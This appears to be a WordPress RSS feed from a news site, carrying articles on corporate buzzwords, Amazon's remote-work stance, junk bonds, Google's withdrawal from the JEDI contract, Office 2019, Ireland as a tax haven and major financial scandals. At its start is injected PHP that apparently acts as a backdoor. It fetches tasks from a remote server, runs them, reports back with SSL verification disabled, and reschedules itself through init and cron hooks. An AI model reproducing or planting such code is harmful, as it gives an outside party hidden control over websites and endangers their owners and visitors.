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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); corporate – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 12 Sep 2022 02:42:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png corporate – Brief News https://briefnews.eu 32 32 Something We Can All Agree On? Corporate Buzzwords Are the Worst. https://briefnews.eu/something-we-can-all-agree-on-corporate-buzzwords-are-the-worst/ https://briefnews.eu/something-we-can-all-agree-on-corporate-buzzwords-are-the-worst/#respond Mon, 12 Sep 2022 02:42:54 +0000 https://briefnews.eu/something-we-can-all-agree-on-corporate-buzzwords-are-the-worst/ “Not quite a cliché, not quite a term of art, a buzzword is a profound-seeming phrase devised by someone important to make something sound better than it is,” my colleague Olga Khazan wrote in February.

Jargon such as pain points and pushback can be a much-derided feature of many workplaces. Even when so much of the country is working from home, this corporate lingo still grates.

It’s like ASMR, “but instead of giving you those relaxing tingles, it just makes your skin crawl and puts a chill down your spine,” Heath Barker noted. He’s one of many readers who wrote to us to share their revulsion with corporate-speak—and to catalog the flaws of the words that irked them most. “I can’t stand the word ‘team’ anymore. And screw ‘please advise,’” Adrian Xavier Tristan wrote. “I have nightmares because of low-hanging fruit,” Neha Bawa confessed. “If there is not a suitcase involved, I don’t want to hear UNPACK,” Patrice English declared.

To pin down the most-universally hated corporate buzzwords, I combed through reader replies on Instagram, Facebook, and Twitter to compile a comprehensive list of terms and organized them into a March Madness–style Twitter bracket. Every day for the past several weeks, readers have voted in polls pitting the most annoying examples of office-speak against one another. Close the loop faced loop in. Win-win battled buy in. In one of the closest matches, silo claimed a narrow victory over optics.

But elsewhere, several readers raised a compelling point: What if these words aren’t so bad after all? Some defended their simplicity. “What else are people supposed to say? ‘Let me dial your phone number so we can converse about a relevant work related topic’?” Ryan Freeman asked. That justification made sense to Karlee as well. “It’s an understandable ‘script’ when you need to communicate a meaning quickly and smoothly,” she explained—benefits that are even more important with so many meetings occurring remotely now.

Others disagreed, and piled buzzword on top of buzzword to call their efficient communication into question. “This is the kind of client-focused, solution-driven content that stakeholders want,” John Boudet wrote. Nathan Freehling took perhaps the deepest dive into corporate lingo: “Gotta tactically evaluate this strategic initiative from 40,000 feet before proving out whether it’s going to upcycle productivity or negatively impact the cross-functional team members that are coordinating the multi-pronged approach to synergizing the year-over-year growth strategy,” he wrote.

Readers revealed how ridiculous the jargon of office life could be—“‘Interrogate’ the data, like we’re going to torture it into making false confessions,” Lia Maland mused—but also, crucially, how pervasive. “Today I said, ‘outside the box,’” Nancy Farmer admitted. “I don’t know how that happened.” Buzzwords are “probably half of my lexicon,” Angelica Verba wrote. This very pervasiveness may help explain why these terms are so hated. “Like everyone’s loud tipsy uncle,” Khazan noted in her article, “the buzzwords people know best tend to be the ones that irritate them most.”

After weeks of voting, a winner for our bracket emerged. The phrase coasted through the first two rounds, easily winning over double click and ping. Value proposition offered a strong performance in the finals, but the winner was too formidable an opponent to shake. Ultimately, lean in, a term for grabbing opportunities without hesitation popularized by Sheryl Sandberg, claimed victory as the worst buzzword.

Despite the fact that few of us are in a physical office these days, videoconferencing apps such as Zoom and Google Hangouts replicate work conversations we would otherwise have in person. Even in these virtual environments, buzzwords persist. So as you listen to your co-workers—and now roommates and partners—communicating with other employees, do be understanding of those not yet indoctrinated. “Don’t mind me,” one Atlantic Twitter follower wrote to us, “just reading through these phrases that I thought were totally innocuous (minus synergy and disrupt) and learning that apparently my coworkers hate me.”

]]> https://briefnews.eu/something-we-can-all-agree-on-corporate-buzzwords-are-the-worst/feed/ 0 Amazon CEO says the company has no plans to make its corporate employees return to the office https://briefnews.eu/amazon-ceo-says-the-company-has-no-plans-to-make-its-corporate-employees-return-to-the-office/ https://briefnews.eu/amazon-ceo-says-the-company-has-no-plans-to-make-its-corporate-employees-return-to-the-office/#respond Thu, 08 Sep 2022 06:46:56 +0000 https://briefnews.eu/amazon-ceo-says-the-company-has-no-plans-to-make-its-corporate-employees-return-to-the-office/ Kara Swisher and Amazon President and CEO Andy Jassy speak onstage during Vox Media's 2022 Code Conference.
Amazon CEO Andy Jassy said most Amazon corporate employees are currently on a hybrid work schedule.

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  • Amazon CEO Andy Jassy said the company isn't planning to force employees back to the office.
  • He noted that most of Amazon's corporate workers are already on a hybrid scheme.
  • Jassy said the e-commerce firm would continue its "experiments" with work arrangements.

Amazon CEO Andy Jassy said on Wednesday that the e-commerce giant doesn't plan on making its corporate employees return to the office via a company-wide mandate.

"We don't have a plan to require people to come back," he said in an onstage interview at Vox Media's Code Conference in Los Angeles, per CNBC. "We don't right now. We're going to proceed adaptively as we learn."

Jassy noted that most Amazon corporate employees are working on a hybrid work schedule and that certain sections of the company, like its hardware and creative teams, are in the office more often, per CNBC.

"I do think there are some things that are harder to do remotely. I think it's a little harder to invent remotely," he said, per the outlet.

"At the end of the day, we have to deliver the right results for customers, and people understand whether they work remotely or in an office that that has to be the number one priority," he said, CNET reported. "And so we're trying lots of experiments, and we'll see over the next year."

In contrast to Amazon's approach, other high-profile companies have required employees to report for work at their offices at least several days a week.

Since April, Google has mandated that its employees in several US locations return to the office at least three days a week, with the option to explore options like "work from anywhere" weeks. Last month, Apple ordered employees to work in the office at least three days a week, inciting a petition from office workers who said they've shown throughout the COVID-19 pandemic that they can produce "exceptional work" from home.

Investment banks such as Citigroup and Deutsche Bank also offer hybrid work schemes to their employees.

On the other hand, Meta — which was then still called Facebook — announced last April that its employees could continue fully working from home even after the pandemic.

Jassy had previously called off Amazon's company-wide plan to require corporate and tech workers to be in the office at least three days a week starting in January.

"At a company of our size, there is no one-size-fits-all approach for how every team works best," Jassy said in October. He said the decision to work from home or in the office would be left to individual teams.

His declaration on Wednesday echoed his comments in January that remote work would continue to be a part of people's lives even after the pandemic. Jassy had referred to how companies have struggled to get all of their employees to return to the office after the Omicron variant prompted another bout of infections and temporary closures.

"I think people will come back in bigger numbers than before, but I think it's not going to look like what it was before," he said, Fortune reported.

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IN THE 1970s the junk-bond market was a dark underworld. It was the home of “fallen angels”, the bonds of investment-grade firms that had gone to seed. Most investors were too genteel to hold them. So they traded at hefty discounts to face value. Then Michael Milken, a junk-bond guru, came along with a new gospel. A portfolio of high-yield junk was a better bet than one of supposedly safer bonds. After all, an A-rated bond can only go in one direction—down.

The corporate-bond class system is still in place. Many types of mutual fund are barred from holding non-investment grade (ie, junk) bonds. But junk is no longer a stunted and shameful offspring. The high-yield market in America is now worth $ 1.2trn. And investment-grade bonds have also come down in the world. Around half are rated BBB, a notch above junk. Issuers are slumming it for a reason. A low rating is the price they pay for loading up on cheap debt.

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]]> https://briefnews.eu/corporate-bonds-in-an-ageing-business-cycle/feed/ 0 Faraday Future Confronting Layoffs, Pay Cuts, Probable Corporate Doom https://briefnews.eu/faraday-future-confronting-layoffs-pay-cuts-probable-corporate-doom/ https://briefnews.eu/faraday-future-confronting-layoffs-pay-cuts-probable-corporate-doom/#respond Mon, 22 Oct 2018 23:50:13 +0000 http://briefnews.eu/faraday-future-confronting-layoffs-pay-cuts-probable-corporate-doom/ Following a previous article about Faraday Future, the manufacturer reached out to yours truly to clarify a few things. First of all, the company deemed the headline and body a bit “jagged.” Understandable, as no manufacturer wants to be called “America’s Worst Automaker” by some bespectacled creep sitting behind a keyboard. Faraday’s spokesperson also noted […]

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  • Google has dropped out of a bidding war with Amazon and other cloud computing companies for Joint Enterprise Defense Infrastructure (JEDI), a $ 10 billion contract from the Pentagon.
  • Google chose to withdraw because the contract may conflict with its corporate values, and its principles over the ethical use of AI. 
  • This decision comes just months after several employees signed a petition, and even resigned, over Google’s involvement with military projects.
  • The contract is winner-take-all, with Amazon seen as the frontrunner.

Google dropped out of the competition for a crucial Pentagon cloud computing contract valued at over $ 10 billion, the company confirms with Business Insider. 

The news, which was originally reported by Bloomberg, comes on the same day that the search giant announced the shutdown of the Google+ social network, in the wake of reports of a major security lapse. It also comes just months after Google employees protested en masse over the company’s work with the United States military. 

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Microsoft

The perpetually licensed version of the desktop Office apps, branded Office 2019, was released today. It’s available as a one-time purchase for volume-licensed commercial customers. A consumer release will come in the next few weeks.

Office 2019 is supported on Windows 10—exclusively; no Windows 7 or Windows 8.1 support is available—and the three most-recent versions of macOS (that is, today’s release of 10.14, 10.13, and 10.12).

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]]> https://briefnews.eu/perpetually-licensed-office-2019-now-available-for-corporate-customers/feed/ 0 World's Biggest Corporate Tax Haven? It's No Paradise Island https://briefnews.eu/worlds-biggest-corporate-tax-haven-its-no-paradise-island/ https://briefnews.eu/worlds-biggest-corporate-tax-haven-its-no-paradise-island/#respond Mon, 03 Sep 2018 09:39:34 +0000 http://briefnews.eu/worlds-biggest-corporate-tax-haven-its-no-paradise-island/

For countries in the tax haven game, it’s a race to the bottom. Singapore’s welcome mat? Corporate taxes at just 17 percent. Gibraltar scrawls 10 percent on its rock, and the Cayman Islands boast 0 percent (even though everyone knows the tab on Cayman-registered profits ends up at 13 percent).

But nobody outsells Ireland and its complex, opaque package of come-hither goodies for corporations looking to dodge tax collectors (legally) back home. In a report published last month entitled “The Missing Profits of Nations,” economists from the University of California, Berkeley and the University of Denmark found that:

Multinationals moved $ 106 billion of corporate profits to Ireland in 2015, making it the largest corporate tax haven in the world.

That’s more than the amount squirreled away on all the Caribbean islands combined, $ 97 billion, and more than Singapore’s $ 70 billion, Switzerland’s $ 58 billion and the Netherlands’ $ 57 billion, according to the research. “These are profits created elsewhere and then moved to Ireland, most likely purely for tax purposes,” says economist Thomas Tørsløv, who co-authored the report.

Since the 2017 leak of the Paradise Papers, which revealed how corporations and high net worth individuals shift money around offshore to avoid taxes, Tørsløv and his team have set out to develop a better understanding of the global impact of tax havens. They began their research by comparing the profits made within a country to the amount of corporate activity. “If there are lots of profits and not a lot of activity, that’s our first indication that something is going on,” says Tørsløv. And that’s what was happening in Ireland.

Ireland may be the biggest tax haven, but the U.S. is the biggest tax evader.

Tørsløv and his team then examined the profit rate of foreign industries in every country in 2015, and compared the profitability of that multinational sector to each economy’s local sector. Any large discrepancy indicates profit-shifting.

They found in 2015 most foreign companies in nontax havens had a 30 to 50 percent profit rate, making them less profitable than the local sectors. In Ireland, on the other hand, foreign companies had a rate of 800 percent, making them far more profitable than the local sector.

Just what’s in that Irish goody basket? For starters, a 12.5 percent corporate tax rate (the recently lowered U.S. rate is 21 percent), and some multinationals have been able to reduce that base rate by cutting deals with the Irish government. The EU is currently investigating arrangements whereby some firms paid 0.1 to 0.01 percent taxes on profits.

Ireland also benefits from a strategy called transfer pricing, in which multinationals shift profits from subsidiaries in high-tax jurisdictions to low-tax ones. In 2014, Apple deployed this tactic for a 3.7 percent effective tax rate on $ 31 billion in revenue. Alarm bells went off, leading the U.S. Senate and the European Commission to investigate the corporation’s Irish operations and Apple’s CEO to declare, “We do not stash money on some Caribbean island.”

Another Emerald Isle incentive? A corporate tax rate of only 6.25 percent for revenue derived from a company’s patent or intellectual property. And taxation policies on research and development offer attractive incentives for corporations to set up innovation skunk works. Corporations also appreciate the opacity of Ireland’s setup. The government does not require multinational corporations to provide public accounts of subsidies received, profit or amount of taxes paid.

Ireland may be the biggest tax haven, but the U.S. is the biggest tax evader, says Ronald Davies, economics professor at University College Dublin. “Is Ireland a conduit for tax minimization?” he asks. “Yes, but it looks so big because of the U.S.”

It’s true that Ireland has benefited from direct U.S. investment of more than $ 277 billion in the past two decades — more than China, India, Russia and Brazil combined, according to the American Chamber of Commerce in Ireland. As of 2015, more than 700 U.S. companies employed 130,000 people on the Emerald Isle, including tech giants Alphabet (Google’s parent company), Facebook and HP Inc., in addition to Apple.

The tab for this international shell game? It’s as much as $ 240 billion a year in lost tax revenue for governments around the globe, according to a 2015 estimate by the Organization for Economic Cooperation and Development.

What does losing out on those billions in tax revenue each year mean for the enormous U.S. economy? According to Tørsløv, small companies pay the biggest price. Multinational enterprises have the resources and experience to direct money offshore, but that’s not the case for small and medium-size American firms, which end up paying a full American tax bill. “This makes for some seriously unfair competition,” says Tørsløv.

Davies argues that if offshore money were to come back to the U.S., it could just as likely end up in low-tax accounts. He points to President George W. Bush’s tax amnesty in 2009, when $ 300 billion in profits from U.S. companies with foreign subsidiaries were repatriated — 92 percent went to shareholders, not to federal coffers. “Even when the money comes back,” Davies says, “most of it ends up contributing to the wealth of a small share of the population.”

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BY HIS own account Christopher Hitchens, an author who died in 2011, was a poor student. He left Oxford with a third-class degree. This was not for want of ability. Hitchens would become a prolific essayist and fearsome debater. Rather, it was a choice. His tutors warned him about neglecting his studies. But he preferred to divide his time between his social life, political protests, books (other than the prescribed ones) and lively debates with other thinkers.

As Hitchens’s counterexample demonstrates, it is possible to regret the opportunities missed while striving for top grades. It is a lesson that many of America’s biggest companies have grasped. At one time, the sort of company that could tap the bond market for capital would be given an A-grade as a matter of course. These days the typical corporate-bond issuer has a credit-rating of BBB, only a notch above a junk rating (see chart).

That might seem to imply that business has become less efficient or lucrative. Yet profits have…

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When it comes to big money there’s a whole lot of room for screw-ups, cover-ups and everything in between. The business world is no stranger to scandal with many wheeler dealers ready to gain at other people’s expense.

Money managers, chief executives, lawyers… some are dead or in jail, others doing just fine, after masterminding white collar crimes amounting to billions of dollars. Let’s have a look at the biggest financial scandals of all time.

Charles Ponzi

The name Ponzi became generic “trademark” for the specific type of scam that involves luring newer investors to pay profits to existing backers. Charles Ponzi, an Italian immigrant, who used to ask people to invest in his business, promising them a 50 percent profit in 45 days as early as in 1919, became the father of a classic pyramid scheme. Ponzi purchased international postal reply coupons for a low price abroad and then sold them for profit in the US. Befuddled by Ponzi, investors even reinvested the returns shortly after they received them.

Ponzi’s scheme began to unravel in August 1920, when The Boston Post launched investigation into his returns. The probe set off a run on Ponzi’s company with investors trying to pull their cash out of the enterprise. Ponzi was arrested in August, 1920. He was charged with 86 counts of mail fraud. Owing millions of dollars, he pleaded guilty to mail fraud and was sentenced to five years in jail. In 1949, the scam artist died penniless in Rio de Janeiro, Brazil.

Enron

Texas-based energy company Enron became a classic example of a dizzying fall after having stratospheric success. The firm was ranked by Fortune magazine as the most innovative in corporate America for six straight years in the 1990s. However, by November 2001 the company’s stock crashed to less than $ 1 shortly after its CEO Kenneth Lay was busted for hiding Enron’s multi-billion dollar debt. The next year, Enron filed for bankruptcy, becoming the biggest company ever to do so at that time. Lay was found guilty in 2006 on six counts of fraud and conspiracy and four counts of bank fraud. He died of a heart attack that same year while awaiting sentencing.

WorldCom

Just a year after the Enron scandal, America’s second-largest telecommunications company WorldCom followed suit. The corporation had been growing quickly, but it turned out that WorldCom chief executive Bernard Ebbers and other top managers used accounting fraud to trick investors. Cooking the books inflated the company’s assets by some $ 11 billion, with $ 3.8 billion in fraudulent accounts. The former CEO was jailed for 25 years. Ebbers began serving his sentence in 2006 as inmate #56022-0584 at Federal Correctional Institution, Oakdale in Louisiana.

Bernard Madoff

The former non-executive chairman of the NASDAQ stock market became the confessed operator of the largest Ponzi scheme ever. Bernard “Bernie” Madoff defrauded investors of an estimated $ 64.8 billion through paying high monthly returns to clients with new investment in his firm using money of other unwitting clients. Madoff was sentenced to 150 years, the maximum allowed, and is incarcerated in the Federal Correctional Complex, Butner in North Carolina.

Lehman Brothers

The crash of the 150-year-old investment bank Lehman Brothers became the enduring symbol of the financial crisis of 2008. Lehman was heavily involved in subprime mortgage–backed securities, and became the largest victim of the notorious mortgage credit crunch. In 2008, the bank filed for bankruptcy, citing $ 639 billion in assets and $ 619 billion in debt. The bank’s failure had severe ramifications for the global economy still recovering from the financial crisis a decade ago.

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